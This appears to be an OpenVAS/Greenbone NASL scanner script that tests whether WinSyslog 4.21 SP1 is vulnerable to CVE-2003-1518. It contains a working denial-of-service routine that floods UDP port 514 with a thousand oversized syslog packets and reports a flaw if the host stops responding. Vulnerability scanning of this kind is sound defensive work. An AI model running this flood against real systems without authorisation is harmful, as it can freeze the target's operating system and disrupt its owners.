WinSyslog (DoS)

# SPDX-FileCopyrightText: 2003 Matthew North
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11884");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_cve_id("CVE-2003-1518");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8821");
  script_name("WinSyslog (DoS)");
  script_category(ACT_DENIAL); # ACT_FLOOD?
  script_copyright("Copyright (C) 2003 Matthew North");
  script_family("Denial of Service");
  script_dependencies("os_detection.nasl");
  script_require_udp_ports(514);
  script_mandatory_keys("Host/runs_windows");

  script_tag(name:"affected", value:"WinSyslog Version 4.21 SP1.");

  script_tag(name:"solution", value:"Contact the vendor for an update.");

  script_tag(name:"summary", value:"A vulnerability in WinSyslog allows remote attackers
  to cause the WinSyslog to freeze, which in turn will also freeze the operating system
  on which the product executes.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("host_details.inc");

start_denial();
sleep( 1);
up = end_denial();
if(!up)
  exit(0);

port = 514;
if( ! get_udp_port_state( port ) )
  exit( 0 );

soc = open_sock_udp( port );
if( ! soc )
  exit( 0 );

start_denial();

for( i = 0; i < 1000; i++ ) {
  num = (600+i)*4;
  bufc = string( crap( num ) );
  buf = string("<00>", bufc);
  send( socket:soc, data:buf );
}

close( soc );
sleep( 5 );
alive = end_denial();
if( ! alive ) {
  security_message( port:port, proto:"udp" );
  exit( 0 );
}

exit( 99 );